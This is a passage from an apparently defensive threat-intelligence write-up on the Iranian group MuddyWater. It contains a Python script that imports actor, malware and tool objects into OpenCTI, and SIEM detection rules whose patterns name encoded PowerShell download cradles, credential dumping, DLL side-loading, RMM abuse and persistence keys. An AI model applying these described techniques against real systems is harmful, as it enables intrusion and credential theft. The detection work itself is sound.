reliability rating, credibility score, actor claims, key entities, and ATT&amp;CK candidates written into the description. MuddyWater is added as an object reference so each report is queryable from the actor&nbsp;page.Step 7 &mdash; ATT&amp;CK pattern links from procedures.yaml. Iterates all attck_candidates across the 10 procedure records and creates MuddyWater &rarr; uses &rarr; ATT&amp;CK technique relationships. If the MITRE connector has not yet synced a technique, the script creates a stub Attack Pattern object (with x_mitre_id set) and flags it for enrichment. This prevents the import from failing on a timing issue between the connector sync and the import&nbsp;run.The script is idempotent: every object lookup uses a read() before create(). Re-running after a partial failure or after the MITRE connector syncs simply confirms existing objects and fills in any&nbsp;gaps.#!/usr/bin/env python3&quot;&quot;&quot;Desert Hydra &mdash; Phase 3 OpenCTI graph import.Reads data/sources.yaml and data/procedures.yaml and creates:  - Identity:       Iran MOIS (organization)  - Intrusion Set:  MuddyWater (with all known aliases)  - Malware:        actor-developed tools (9 objects)  - Tool:           legitimate tools abused (4 objects)  - Reports:        one per promoted source (up to 20)  - Relationships:  attributed-to, uses (malware/tool/ATT&amp;CK)Idempotent - existing objects are not duplicated.ATT&amp;CK pattern links are skipped for techniques not yet synced by theMITRE connector; re-run the script after the MITRE sync completes.Usage:    export OPENCTI_URL=http://localhost:8080    export OPENCTI_TOKEN=    python3 tools/opencti_import.py&quot;&quot;&quot;import osimport sysimport yamlfrom pathlib import Pathfrom pycti import OpenCTIApiClientfrom pycti.entities.opencti_identity import IdentityTypes# ── Bootstrap ─────────────────────────────────────────────────────────────────OPENCTI_URL   = os.environ.get(&quot;OPENCTI_URL&quot;,   &quot;http://localhost:8080&quot;)OPENCTI_TOKEN = os.environ.get(&quot;OPENCTI_TOKEN&quot;, &quot;&quot;)REPO_ROOT     = Path(__file__).resolve().parent.parentif not OPENCTI_TOKEN:    sys.exit(&quot;ERROR: set OPENCTI_TOKEN environment variable&quot;)api = OpenCTIApiClient(url=OPENCTI_URL, token=OPENCTI_TOKEN, log_level=&quot;error&quot;)print(f&quot;[desert-hydra] Connected  {OPENCTI_URL}&quot;)# ── Load YAML data ─────────────────────────────────────────────────────────────with open(REPO_ROOT / &quot;data&quot; / &quot;sources.yaml&quot;) as f:    SOURCES = yaml.safe_load(f)[&quot;sources&quot;]with open(REPO_ROOT / &quot;data&quot; / &quot;procedures.yaml&quot;) as f:    PROCEDURES = yaml.safe_load(f)[&quot;procedures&quot;]print(f&quot;[desert-hydra] Loaded {len(SOURCES)} sources, {len(PROCEDURES)} procedures&quot;)# ── TLP:WHITE ─────────────────────────────────────────────────────────────────def get_tlp_white():    results = api.marking_definition.list(        filters={            &quot;mode&quot;: &quot;and&quot;,            &quot;filters&quot;: [{&quot;key&quot;: &quot;definition&quot;, &quot;values&quot;: [&quot;TLP:WHITE&quot;]}],            &quot;filterGroups&quot;: [],        }    )    if results:        return results[0][&quot;id&quot;]    obj = api.marking_definition.create(        definition_type=&quot;TLP&quot;,        definition=&quot;TLP:WHITE&quot;,        x_opencti_color=&quot;#ffffff&quot;,        x_opencti_order=0,    )    return obj[&quot;id&quot;]TLP_WHITE = get_tlp_white()# ── Helpers ───────────────────────────────────────────────────────────────────def _find(accessor, name):    &quot;&quot;&quot;Look up a STIX object by name. Returns the object dict or None.&quot;&quot;&quot;    return accessor.read(        filters={            &quot;mode&quot;: &quot;and&quot;,            &quot;filters&quot;: [{&quot;key&quot;: &quot;name&quot;, &quot;values&quot;: [name]}],            &quot;filterGroups&quot;: [],        }    )def link(from_id, to_id, rel_type, confidence=80):    &quot;&quot;&quot;Create a STIX core relationship; silently skip if it already exists.&quot;&quot;&quot;    try:        api.stix_core_relationship.create(            fromId=from_id,            toId=to_id,            relationship_type=rel_type,            confidence=confidence,            objectMarking=[TLP_WHITE],        )    except Exception:        passATTCK_NAMES = {    &quot;T1574.002&quot;: &quot;DLL Side-Loading&quot;,    &quot;T1574.001&quot;: &quot;DLL Search Order Hijacking&quot;,    &quot;T1546.015&quot;: &quot;Component Object Model Hijacking&quot;,    &quot;T1218.010&quot;: &quot;Regsvr32&quot;,}def find_or_create_attack_pattern(mitre_id):    &quot;&quot;&quot;Look up an ATT&amp;CK pattern by x_mitre_id. Create stub if not synced yet.&quot;&quot;&quot;    result = api.attack_pattern.read(        filters={            &quot;mode&quot;: &quot;and&quot;,            &quot;filters&quot;: [{&quot;key&quot;: &quot;x_mitre_id&quot;, &quot;values&quot;: [mitre_id]}],            &quot;filterGroups&quot;: [],        }    )    if result:        return result[&quot;id&quot;], False    name = ATTCK_NAMES.get(mitre_id, mitre_id)    obj = api.attack_pattern.create(        name=name,        x_mitre_id=mitre_id,        description=f&quot;MITRE ATT&amp;CK technique {mitre_id}. Created as stub pending MITRE connector sync.&quot;,        objectMarking=[TLP_WHITE],        confidence=75,    )    return obj[&quot;id&quot;], True# ── Step 1: Iran MOIS Identity ────────────────────────────────────────────────existing = _find(api.identity, &quot;Iran MOIS&quot;)if existing:    MOIS_ID = existing[&quot;id&quot;]else:    obj = api.identity.create(        type=IdentityTypes.ORGANIZATION.value,        name=&quot;Iran MOIS&quot;,        description=(            &quot;Iranian Ministry of Intelligence and Security (MOIS). &quot;            &quot;State sponsor attributed to MuddyWater cyber operations by CISA, FBI, &quot;            &quot;CNMF, NCSC-UK, and NSA in joint advisory AA22-055A (February 2022).&quot;        ),        objectMarking=[TLP_WHITE],        confidence=85,    )    MOIS_ID = obj[&quot;id&quot;]# ── Step 2: MuddyWater Intrusion Set ──────────────────────────────────────────existing = _find(api.intrusion_set, &quot;MuddyWater&quot;)if existing:    MW_ID = existing[&quot;id&quot;]else:    obj = api.intrusion_set.create(        name=&quot;MuddyWater&quot;,        aliases=[            &quot;Seedworm&quot;, &quot;Mango Sandstorm&quot;, &quot;TA450&quot;,            &quot;Static Kitten&quot;, &quot;TEMP.Zagros&quot;, &quot;Mercury&quot;, &quot;DEV-1084&quot;,        ],        description=(            &quot;Iranian MOIS subordinate threat group active since at least 2017. &quot;            &quot;Targets government, defense, telecom, oil and gas, and MSPs globally. &quot;            &quot;Significant focus on Israeli organizations since 2022. Known for &quot;            &quot;spearphishing, RMM tool abuse, and a shift toward in-house tooling &quot;            &quot;(BugSleep, AnchorRAT) beginning ~May 2024.&quot;        ),        resource_level=&quot;government&quot;,        primary_motivation=&quot;espionage&quot;,        confidence=85,        objectMarking=[TLP_WHITE],        createdBy=MOIS_ID,    )    MW_ID = obj[&quot;id&quot;]link(MW_ID, MOIS_ID, &quot;attributed-to&quot;, 85)# ── Step 3: Malware catalog ────────────────────────────────────────────────────MALWARE_CATALOG = [    {&quot;name&quot;: &quot;POWERSTATS&quot;,  &quot;aliases&quot;: [&quot;Powermud&quot;],   &quot;description&quot;: &quot;MuddyWater first-stage PowerShell backdoor (MITRE S0223).&quot;},    {&quot;name&quot;: &quot;PowGoop&quot;,     &quot;aliases&quot;: [&quot;Goopdate&quot;],   &quot;description&quot;: &quot;DLL loader hijacking GoogleUpdate.exe via side-loading (MITRE S1046).&quot;},    {&quot;name&quot;: &quot;Small Sieve&quot;, &quot;aliases&quot;: [],             &quot;description&quot;: &quot;Python backdoor compiled as NSIS; Telegram Bot API C2; OutlookMicrosift Run key.&quot;},    {&quot;name&quot;: &quot;Canopy&quot;,      &quot;aliases&quot;: [&quot;Starwhale&quot;],  &quot;description&quot;: &quot;Excel-macro dropper; startup folder persistence; HTTP POST C2.&quot;},    {&quot;name&quot;: &quot;Mori&quot;,        &quot;aliases&quot;: [],             &quot;description&quot;: &quot;DNS-tunneling backdoor deployed as FML.dll via regsvr32.exe.&quot;},    {&quot;name&quot;: &quot;BugSleep&quot;,    &quot;aliases&quot;: [],             &quot;description&quot;: &quot;In-house backdoor (2024); 43-minute scheduled task; shellcode injection.&quot;},    {&quot;name&quot;: &quot;AnchorRAT&quot;,   &quot;aliases&quot;: [],             &quot;description&quot;: &quot;Custom RAT (2024); COM hijacking persistence (T1546.015).&quot;},    {&quot;name&quot;: &quot;SyncroRAT&quot;,   &quot;aliases&quot;: [],             &quot;description&quot;: &quot;RMM-based RAT; Technion campaign (Feb 2023); Log4j initial access.&quot;},    {&quot;name&quot;: &quot;DarkBit&quot;,     &quot;aliases&quot;: [],             &quot;description&quot;: &quot;Ransomware/wiper; Technion attack; vssadmin shadow copy deletion.&quot;},]MALWARE_IDS = {}for m in MALWARE_CATALOG:    existing = _find(api.malware, m[&quot;name&quot;])    if existing:        MALWARE_IDS[m[&quot;name&quot;]] = existing[&quot;id&quot;]    else:        obj = api.malware.create(            name=m[&quot;name&quot;], aliases=m[&quot;aliases&quot;],            description=m[&quot;description&quot;], is_family=False,            objectMarking=[TLP_WHITE], createdBy=MOIS_ID,        )        MALWARE_IDS[m[&quot;name&quot;]] = obj[&quot;id&quot;]# ── Step 4: Tool catalog ──────────────────────────────────────────────────────TOOL_CATALOG = [    {&quot;name&quot;: &quot;AteraAgent&quot;,  &quot;aliases&quot;: [&quot;Atera RMM&quot;], &quot;description&quot;: &quot;Commercial RMM abused for persistent remote access via phishing.&quot;},    {&quot;name&quot;: &quot;SimpleHelp&quot;,  &quot;aliases&quot;: [],            &quot;description&quot;: &quot;Commercial RMM abused in 2024 Israeli targeting.&quot;},    {&quot;name&quot;: &quot;Mimikatz&quot;,    &quot;aliases&quot;: [],            &quot;description&quot;: &quot;LSASS credential dumping (T1003.001), used with procdump64.exe.&quot;},    {&quot;name&quot;: &quot;LaZagne&quot;,     &quot;aliases&quot;: [],            &quot;description&quot;: &quot;LSA secrets (T1003.004) and cached domain credential dumping (T1003.005).&quot;},]TOOL_IDS = {}for t in TOOL_CATALOG:    existing = _find(api.tool, t[&quot;name&quot;])    if existing:        TOOL_IDS[t[&quot;name&quot;]] = existing[&quot;id&quot;]    else:        obj = api.tool.create(            name=t[&quot;name&quot;], aliases=t[&quot;aliases&quot;],            description=t[&quot;description&quot;],            objectMarking=[TLP_WHITE], createdBy=MOIS_ID,        )        TOOL_IDS[t[&quot;name&quot;]] = obj[&quot;id&quot;]# ── Step 5: uses relationships ────────────────────────────────────────────────for mid in MALWARE_IDS.values():    link(MW_ID, mid, &quot;uses&quot;, 80)for tid in TOOL_IDS.values():    link(MW_ID, tid, &quot;uses&quot;, 80)# ── Step 6: Reports from sources.yaml ────────────────────────────────────────SOURCE_DATES = {    &quot;src_usgov_aa22_055a_pdf_mirror&quot;:        &quot;2022-02-24T00:00:00.000Z&quot;,    &quot;src_incd_muddywater_darkbit_2023&quot;:      &quot;2023-02-07T00:00:00.000Z&quot;,    &quot;src_incd_muddywater_2024_evolution&quot;:    &quot;2024-06-01T00:00:00.000Z&quot;,    &quot;src_cisa_aa22_055a_page&quot;:               &quot;2022-02-24T00:00:00.000Z&quot;,    &quot;src_ncsc_uk_muddywater_joint_advisory&quot;: &quot;2022-02-24T00:00:00.000Z&quot;,    &quot;src_incd_recent_phishing_1947&quot;:         &quot;2024-09-01T00:00:00.000Z&quot;,    &quot;src_mitre_attack_muddywater_g0069&quot;:     &quot;2024-01-01T00:00:00.000Z&quot;,}REPORT_IDS = {}for src in SOURCES:    src_id   = src[&quot;id&quot;]    title    = src[&quot;title&quot;]    pub_date = SOURCE_DATES.get(src_id, &quot;2023-01-01T00:00:00.000Z&quot;)    confidence = 85 if src.get(&quot;source_reliability&quot;) == &quot;A&quot; else 70    description = (        f&quot;Publisher: {src[&#039;publisher&#039;]}\n&quot;        f&quot;Reliability: {src.get(&#039;source_reliability&#039;,&#039;?&#039;)} / &quot;        f&quot;Credibility: {src.get(&#039;information_credibility&#039;,&#039;?&#039;)}\n&quot;        f&quot;URL: {src[&#039;url&#039;]}\n&quot;        f&quot;Actor claims: {&#039;, &#039;.join(src.get(&#039;actor_claims&#039;, []))}\n&quot;        f&quot;ATT&amp;CK candidates: {&#039;, &#039;.join(src.get(&#039;candidate_attck_techniques&#039;, []))}&quot;    )    existing = _find(api.report, title)    if existing:        REPORT_IDS[src_id] = existing[&quot;id&quot;]    else:        obj = api.report.create(            name=title, published=pub_date,            description=description,            report_types=[&quot;threat-report&quot;],            confidence=confidence,            objectMarking=[TLP_WHITE],            createdBy=MOIS_ID,            objects=[MW_ID],        )        REPORT_IDS[src_id] = obj[&quot;id&quot;]# ── Step 7: ATT&amp;CK pattern links from procedures ──────────────────────────────linked, stubs = set(), []for proc in PROCEDURES:    for candidate in proc.get(&quot;attck_candidates&quot;, []):        tid = candidate[&quot;technique&quot;]        if tid in linked:            continue        pattern_id, created_as_stub = find_or_create_attack_pattern(tid)        link(MW_ID, pattern_id, &quot;uses&quot;, 75)        linked.add(tid)        if created_as_stub:            stubs.append(tid)# ── Summary ───────────────────────────────────────────────────────────────────print(f&quot;Import complete - malware: {len(MALWARE_IDS)}, tools: {len(TOOL_IDS)}, &quot;      f&quot;reports: {len(REPORT_IDS)}, ATT&amp;CK links: {len(linked)}, stubs: {len(stubs)}&quot;)Result: All objects created. Re-run confirms idempotency (no duplicates).Step 13: Intrusion Set VerificationResult: MuddyWater entity with all aliases, Iran MOIS attribution relationship, campaign links, and malware/tool associations confirmed in&nbsp;OpenCTI.Step 14: Knowledge GraphResult: Graph shows MuddyWater &rarr; 9 malware, 4 tools, 3 campaigns, 21 ATT&amp;CK techniques &mdash; all with source-annotated relationship edges.Step 15: ATT&amp;CK Matrix&nbsp;CoverageResult: 21 techniques highlighted across 8 tactics in the ATT&amp;CK Enterprise matrix.Step 16: BugSleep Malware&nbsp;DetailResult: BugSleep malware object with INCD 2024 source annotation, T1053.005 relationship (43-minute task), and C2 technique links confirmed.Step 17: Reports&nbsp;ListResult: 20 report objects, one per promoted source. Each report links to the procedures and techniques it evidences.Step 19: OpenCTI DashboardResult: Custom dashboard showing technique frequency heatmap by source tier &mdash; highest-corroborated techniques visible at a&nbsp;glance.Phase 4: Detection AtlasThe detection atlas is the core analytical output. Each of the 11 detection records in data/detections.yaml contains:The specific MuddyWater behavior it targets (not the ATT&amp;CK technique category)Required log sources and capability gatesMulti-rule pseudologic (SIEM-agnostic &mdash; works as a template for Sigma, KQL, SPL, or any rule&nbsp;format)False positive classes and tuning&nbsp;guidanceA creation_logic field explaining why the rule is designed this way &mdash; the design decision, not just what the rule&nbsp;doesCoverage scores follow a strict scale: 5 = lab-validated with a Kibana screenshot. 4 = correlated analytic (good logic, single source or partial lab). 3 = behavioral detection with partial validation. A score of 5 requires a proof, not just passing pseudologic.Step 20 &mdash; Analyst&nbsp;ReviewBefore any detection went to validation, every record went through a review pass that checked: operator precedence in multi-clause conditions, access mask completeness for LSASS detection, path allowlist accuracy for the GoogleUpdate/Goopdate IoC, and ATT&amp;CK technique coverage gaps. The review fixed a real operator precedence bug in det_mw_0010 Rule B where the command_line clause was outside the event_type guard, tightened the LSASS access mask set, improved T1033 coverage in det_mw_0009 Rule C via Win32_ComputerSystem, and added the x86/x64 Google installation path allowlist to det_mw_0004 Rule&nbsp;A.det_mw_0001 &mdash; Email Delivery Correlated with Process&nbsp;SpawnTechniques: T1566.001, T1566.002 &middot; Score: 5 (lab-validated)What it targets: MuddyWater delivers malicious content three ways &mdash; ZIP or Office macro attachments, links to Egnyte/OneDrive delivering RMM installers, and emails from compromised accounts. Corroborated by CISA AA22&ndash;055A, INCD 2023, and INCD 2024. The highest-priority initial access vector in the&nbsp;dataset.Why it&rsquo;s built this way: Email delivery alone is not a detection signal &mdash; MuddyWater&rsquo;s phishing emails are indistinguishable from legitimate mail at the gateway layer. The detection value comes from correlating delivery with a process spawn on the recipient endpoint within a tight 5-minute window. The parent process constraint (Outlook, browser) is the key limiter: it restricts scope to email-triggered or link-triggered execution, which is exactly the documented delivery chain. Both attachment-based and link-based delivery methods are covered because all variants are source-confirmed. The correlated logic type reflects that neither event alone is sufficient &mdash; only the combination is meaningful.Required telemetry: Email gateway or SEG with attachment metadata and URL extraction. EDR or Sysmon Event ID 1 with parent image and command line. Without the gateway telemetry, this detection degrades to parent-process heuristics only and loses the delivery-correlation value.event_type IN [email_delivery] AND  (attachment.extension IN [&quot;zip&quot;,&quot;xlsx&quot;,&quot;xlsm&quot;,&quot;pdf&quot;,&quot;docm&quot;] OR   link.domain IN [&quot;egnyte.com&quot;,&quot;onedrive.live.com&quot;,&quot;1drv.ms&quot;])CORRELATE WITHIN 300 seconds WITHevent_type IN [process_create] WHERE  parent_image IN [&quot;OUTLOOK.EXE&quot;,&quot;chrome.exe&quot;,&quot;firefox.exe&quot;,&quot;msedge.exe&quot;] AND  image IN [&quot;powershell.exe&quot;,&quot;cmd.exe&quot;,&quot;wscript.exe&quot;,&quot;mshta.exe&quot;,            &quot;AteraAgent.exe&quot;,&quot;ScreenConnect.exe&quot;,&quot;SimpleHelp.exe&quot;,&quot;rport.exe&quot;]Key false positives: Legitimate macro-enabled Office files from internal users. IT-approved RMM tools deployed via email links during onboarding. Tune by excluding known sender domains and approved RMM deployment windows.det_mw_0002 &mdash; Web Service Spawning Interpreter ShellTechniques: T1190 &middot; Score: 5 (lab-validated)What it targets: MuddyWater uses public-facing exploitation as a secondary initial access vector &mdash; CVE-2020&ndash;0688 (Exchange), CVE-2020&ndash;1472 (Netlogon/Zerologon), CVE-2021&ndash;44228 (Log4j), and unspecified VPN vulnerabilities from INCD&nbsp;2024.Why it&rsquo;s built this way: The detection targets the post-exploitation moment &mdash; a web service spawning a shell &mdash; rather than the exploit payload itself. This is deliberately CVE-agnostic: it fires on CVE-2020&ndash;0688, CVE-2020&ndash;1472, Log4j, and any unnamed VPN vulnerability without needing individual exploit signatures. The parent process list maps directly to the documented CVEs: w3wp.exe covers Exchange and IIS, java.exe covers Log4j, lsass.exe covers Netlogon exploitation leading to SYSTEM-level shell creation. The SYSTEM integrity level filter is the key noise reducer &mdash; legitimate administrative scripts rarely run at SYSTEM under IIS application pools without a clear documented reason.Required telemetry: EDR or Sysmon Event ID 1 with full parent-child chain and integrity level. IDS/IPS for CVE-specific signatures as a complementary layer.event_type = process_create ANDparent_image IN [&quot;w3wp.exe&quot;,&quot;java.exe&quot;,&quot;lsass.exe&quot;,&quot;services.exe&quot;,                 &quot;vmtoolsd.exe&quot;,&quot;vpnagent.exe&quot;] ANDimage IN [&quot;cmd.exe&quot;,&quot;powershell.exe&quot;,&quot;wscript.exe&quot;,&quot;cscript.exe&quot;,&quot;bash.exe&quot;] AND(parent_user IN [&quot;NETWORK SERVICE&quot;,&quot;IIS_IUSRS&quot;,&quot;SYSTEM&quot;] OR integrity_level = &quot;System&quot;)Key false positives: Legitimate administrative scripts under IIS application pools. Java-based monitoring agents that spawn processes. Tune by process hash allowlisting for known-good management tools.det_mw_0003 &mdash; PowerShell Encoded Command and Script ObfuscationTechniques: T1059.001, T1027 &middot; Score: 5 (lab-validated)What it targets: PowerShell obfuscation is a cross-cutting technique present in every MuddyWater tool tier &mdash; PowGoop (Base64 C2 setup), POWERSTATS (IEX + web request for stage delivery), and the 2024 lure campaigns (embedded API key executed via PowerShell). Three distinct usage patterns across tools required three&nbsp;rules.Why it&rsquo;s built this way: Each rule targets a different MuddyWater PowerShell pattern with a different telemetry requirement.Rule A targets PowGoop and POWERSTATS loader delivery. The regex \s-e[a-zA-Z]*\s+[A-Za-z0-9+/=]{50,} is deliberately written to match all unambiguous prefix forms of -EncodedCommand (-e, -ec, -en, -enc) while the 50-character minimum for the Base64 blob avoids matching the -Encoding parameter. This is the operator precision that matters: -Encoding UTF8 would otherwise match a naive&nbsp;regex.Rule B targets POWERSTATS script execution behavior: IEX combined with a web request. This is the decoded content layer &mdash; it requires Script Block Logging (Event ID 4104), which is the capability gate that determines whether this detection class exists at all in a given environment.Rule C is the delivery-context fallback: PowerShell spawned by an Office application, email client, or browser has no legitimate explanation in a standard enterprise environment and fires regardless of whether Script Block Logging is&nbsp;enabled.Required telemetry: Script Block Logging (Event ID 4104) &mdash; required for Rule B and for the highest-fidelity version of this detection. Sysmon Event ID 1 for Rules A and C. Without Script Block Logging, the detection degrades to command-line heuristics only.# Rule A &mdash; Encoded command flag (all prefix forms: -e, -ec, -en, -enc ...)event_type = process_create ANDimage ENDSWITH &quot;powershell.exe&quot; ANDcommand_line IMATCHES &quot;\s-e[a-zA-Z]*\s+[A-Za-z0-9+/=]{50,}&quot;# Rule B &mdash; Script Block content (Event ID 4104)event_type = script_block_log ANDscript_block_text MATCHES &quot;(IEX|Invoke-Expression|InvokeScript)&quot; ANDscript_block_text MATCHES &quot;(WebClient|Invoke-WebRequest|DownloadString|Net\.Http)&quot;# Rule C &mdash; Suspicious parent processevent_type = process_create ANDimage ENDSWITH &quot;powershell.exe&quot; ANDparent_image IN [&quot;OUTLOOK.EXE&quot;,&quot;winword.exe&quot;,&quot;excel.exe&quot;,                 &quot;chrome.exe&quot;,&quot;firefox.exe&quot;,&quot;msedge.exe&quot;,&quot;WScript.exe&quot;]Key false positives: Administrative scripts using -EncodedCommand for special characters. SCCM/Ansible deployments running Base64-encoded payloads. Baseline known-good encoded commands by hash before alerting on Rule&nbsp;A.det_mw_0004 &mdash; Unsigned DLL Loaded by Signed ExecutableTechniques: T1574.002 &middot; Score: 3 (behavioral, partial validation)What it targets: PowGoop&rsquo;s execution method &mdash; a malicious DLL renamed Goopdate.dll placed alongside GoogleUpdate.exe, causing the legitimate signed binary to load it. Confirmed in 2024 toolset by INCD&nbsp;2024.Why it&rsquo;s built this way: Two rules serve different confidence tiers. Rule A is sourced directly from the documented PowGoop technique: the specific process name (GoogleUpdate.exe), DLL name (Goopdate.dll), and the fact that any path outside the Google installation directories is anomalous. The allowlist covers both x86 and x64 installation paths because omitting either creates a bypass. This combination &mdash; specific binary, specific DLL name, path outside expected directory &mdash; is near-unique and fires with high precision. Rule B is the generic behavioral net for future DLL side-loading variants where the actor may use different binary names &mdash; it trades precision for coverage against toolset evolution.Score is 3 (not 5) because the lab&rsquo;s stub DLL did not produce sufficient Sysmon EID 7 signal during validation. The detection logic is sound; the telemetry dependency (Sysmon image load events with signing status) is the constraint.Required telemetry: Sysmon Event ID 7 (ImageLoad) with signed/unsigned status &mdash; this is the hard dependency. Without it, DLL loads are invisible to SIEM-based detection.# Rule A &mdash; Specific IoC: GoogleUpdate loading Goopdate from non-Google pathevent_type = image_load ANDimage ENDSWITH &quot;GoogleUpdate.exe&quot; ANDloaded_image ENDSWITH &quot;Goopdate.dll&quot; ANDNOT (loaded_image_path STARTSWITH &quot;C:\Program Files (x86)\Google\&quot; OR     loaded_image_path STARTSWITH &quot;C:\Program Files\Google\&quot;)# Rule B &mdash; Generic: signed process loading unsigned DLL from user-writable pathevent_type = image_load ANDprocess_signed = true ANDloaded_image_signed = false ANDloaded_image_path MATCHES &quot;(\\Users\\|\\AppData\\|\\Temp\\|\\ProgramData\\)&quot;Key false positives: Third-party software shipping unsigned DLLs alongside signed executables (common). Developer workstations with locally compiled DLLs. Rule B requires environment-specific tuning before production deployment.det_mw_0005 &mdash; Registry Run Key and Startup Folder PersistenceTechniques: T1547.001 &middot; Score: 5 (lab-validated)What it targets: Multiple MuddyWater malware families use Run key persistence with actor-specific value names. Small Sieve: OutlookMicrosift (deliberate typo mimicking Microsoft). AA22-055A documents a second key: SystemTextEncoding. Canopy installs a WSF script in the startup folder &mdash; a sub-technique that doesn&#039;t appear as a Run key&nbsp;write.Why it&rsquo;s built this way: Three rules cover three distinct persistence mechanisms across the malware catalog. Rule A is an exact-match IoC alert on the two named value names &mdash; it fires immediately on any match without needing path or parent context, because these specific strings have no legitimate usage in a standard enterprise environment. Rule B is the behavioral safety net for unknown or renamed values: path heuristic (AppData/Temp) combined with a non-installer parent covers the common pattern of malware writing its own persistence without using an installer. The process_integrity_level filter removes high-integrity (admin-level) processes from the behavioral rule because legitimate software installers typically run elevated. Rule C is added specifically to cover Canopy&#039;s startup folder WSF persistence, which doesn&#039;t show up as a Run key write at all &mdash; it&#039;s a file creation&nbsp;event.Required telemetry: Sysmon Event ID 13 (registry value set) for Rules A and B. Sysmon Event ID 11 (file create) for Rule&nbsp;C.# Rule A &mdash; Specific IoC: known MuddyWater Run key value namesevent_type = registry_set ANDregistry_key MATCHES &quot;\\CurrentVersion\\Run&quot; ANDregistry_value_name IN [&quot;OutlookMicrosift&quot;,&quot;SystemTextEncoding&quot;]# Rule B - Behavioral: Run key pointing to writable/unusual pathevent_type = registry_set ANDregistry_key MATCHES &quot;(HKCU|HKLM)\\.*\\CurrentVersion\\Run&quot; ANDregistry_value_data MATCHES &quot;(\\AppData\\|\\Temp\\|\\ProgramData\\|\\Users\\)&quot; ANDprocess_image NOT IN [&quot;msiexec.exe&quot;,&quot;setup.exe&quot;,&quot;install.exe&quot;,&quot;update.exe&quot;] ANDprocess_integrity_level NOT IN [&quot;High&quot;,&quot;System&quot;]# Rule C - Script files written to startup folder (covers Canopy WSF)event_type = file_create ANDfile_path MATCHES &quot;\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\&quot; ANDfile_extension IN [&quot;wsf&quot;,&quot;vbs&quot;,&quot;js&quot;,&quot;ps1&quot;,&quot;bat&quot;,&quot;cmd&quot;]Key false positives: Rule A has essentially zero false positives on the specific value names. Rule B requires installer process exclusion &mdash; the list is environment-specific. Rule C may fire on legitimate startup scripts deployed by IT via Group Policy; exclude by file hash or&nbsp;signer.det_mw_0006 &mdash; Scheduled Task with 43-Minute Beacon&nbsp;IntervalTechniques: T1053.005 &middot; Score: 4 (correlated analytic)What it targets: BugSleep creates a Windows scheduled task triggered every 43 minutes for C2 beaconing &mdash; a specific behavioral fingerprint documented in the INCD 2024 report. The interval is documented as customizable, but 43 minutes is the observed operational value.Why it&rsquo;s built this way: The 43-minute interval is the single most precise artifact in the entire procedure dataset. Rule A is designed as a high-fidelity immediate alert requiring no tuning: PT43M is the ISO 8601 duration format for 43 minutes and appears verbatim in the Windows Task XML. This fires with near-zero false positives because no legitimate software uses a 43-minute repeat interval for any standard purpose. Rule B generalizes the pattern for future BugSleep variants that may use a different interval: short repetition (under 60 minutes) combined with a task action pointing to a user-writable path is anomalous regardless of exact interval. Rule C is the telemetry fallback &mdash; many environments do not forward Task Scheduler event logs to SIEM, but schtasks.exe process creation (Sysmon EID 1) is more commonly collected and captures the command&nbsp;line.Score is 4 (not 5) because this is a single-source procedure &mdash; INCD 2024 only. Before treating Rule A as a high-confidence production alert, corroborate with a second vendor&nbsp;source.Required telemetry: Windows Security Event ID 4698 (scheduled task created) or Task Scheduler operational log for Rules A and B. Sysmon Event ID 1 for Rule&nbsp;C.# Rule A &mdash; Specific: 43-minute interval (BugSleep artifact) &mdash; immediate alertevent_type = scheduled_task_created ANDtask_trigger_repetition_interval = &quot;PT43M&quot;# Rule B - Behavioral: short interval + suspicious action pathevent_type = scheduled_task_created ANDtask_trigger_repetition_interval_minutes &lt; 60 ANDtask_action_path MATCHES &quot;(\\AppData\\|\\Temp\\|\\ProgramData\\|\\Users\\)&quot; ANDcreating_process NOT IN [&quot;svchost.exe&quot;,&quot;taskeng.exe&quot;,&quot;msiexec.exe&quot;]# Rule C - Sysmon command line fallbackevent_type = process_create ANDimage ENDSWITH &quot;schtasks.exe&quot; ANDcommand_line MATCHES &quot;/create&quot; ANDcommand_line MATCHES &quot;(AppData|Temp|ProgramData)&quot;Key false positives: Backup and monitoring software creating frequent tasks. Browser update mechanisms. Rule B requires interval baseline per environment before production deployment.det_mw_0007 &mdash; RMM Tool Executed from User-Writable PathTechniques: T1219 &middot; Score: 5 (lab-validated)What it targets: RMM tool abuse is the most consistently documented MuddyWater technique across all source tiers &mdash; five independent government and vendor sources corroborate it. Tool inventory across campaigns: ScreenConnect (2022), SyncroRAT (Israel 2023), rport.exe (DarkBit operation), AteraAgent (multiple sources), SimpleHelp, Level, PDQConnect (2024).Why it&rsquo;s built this way: RMM tool detection is inherently a context problem. The binary is legitimate. The network traffic to vendor infrastructure is legitimate. Only the delivery chain and execution path are anomalous. Three rules address this from different angles.Rule A uses path as the primary signal: a legitimately IT-deployed RMM tool installs to Program Files or a managed path, not AppData/Temp/Downloads. A known RMM binary executing from a user-writable path means it was delivered, not installed by&nbsp;IT.Rule B uses parent process as the signal: no legitimate RMM deployment is spawned by Outlook, a browser, or an archive utility. This is the delivery-context constraint &mdash; if an RMM binary&rsquo;s parent is OUTLOOK.EXE, the delivery chain is phishing regardless of what the binary&nbsp;is.Rule C uses network destination: RMM infrastructure connections from endpoints with no authorized RMM deployment are anomalous. Rules A+C together &mdash; RMM binary from writable path plus outbound connection to vendor domain &mdash; form the highest-confidence combined&nbsp;signal.The baseline prerequisite is non-negotiable. Rule C without a baseline of authorized RMM deployments per endpoint generates constant noise in any environment that legitimately uses RMM tools. This is the single highest-ROI detection in the dataset if the baseline is&nbsp;clean.Required telemetry: EDR or Sysmon Event ID 1 with parent image and file path. Network flow or proxy logs with process name attribution for Rule&nbsp;C.# Rule A &mdash; Known RMM binary from non-standard installation pathevent_type = process_create AND(image ENDSWITH &quot;AteraAgent.exe&quot; OR image ENDSWITH &quot;ScreenConnect.exe&quot; OR image ENDSWITH &quot;SimpleHelp.exe&quot; OR image ENDSWITH &quot;rport.exe&quot; OR image ENDSWITH &quot;SyncroRAT.exe&quot; OR image ENDSWITH &quot;Level.exe&quot; OR image ENDSWITH &quot;PDQConnect.exe&quot;) ANDimage_path MATCHES &quot;(\\AppData\\|\\Temp\\|\\Downloads\\|\\Users\\[^\\]+\\Desktop\\)&quot;# Rule B - RMM binary spawned by email client or browserevent_type = process_create AND(image ENDSWITH &quot;AteraAgent.exe&quot; OR image ENDSWITH &quot;ScreenConnect.exe&quot; OR image ENDSWITH &quot;SimpleHelp.exe&quot; OR image ENDSWITH &quot;rport.exe&quot;) ANDparent_image IN [&quot;OUTLOOK.EXE&quot;,&quot;outlook.exe&quot;,&quot;chrome.exe&quot;,&quot;firefox.exe&quot;,                 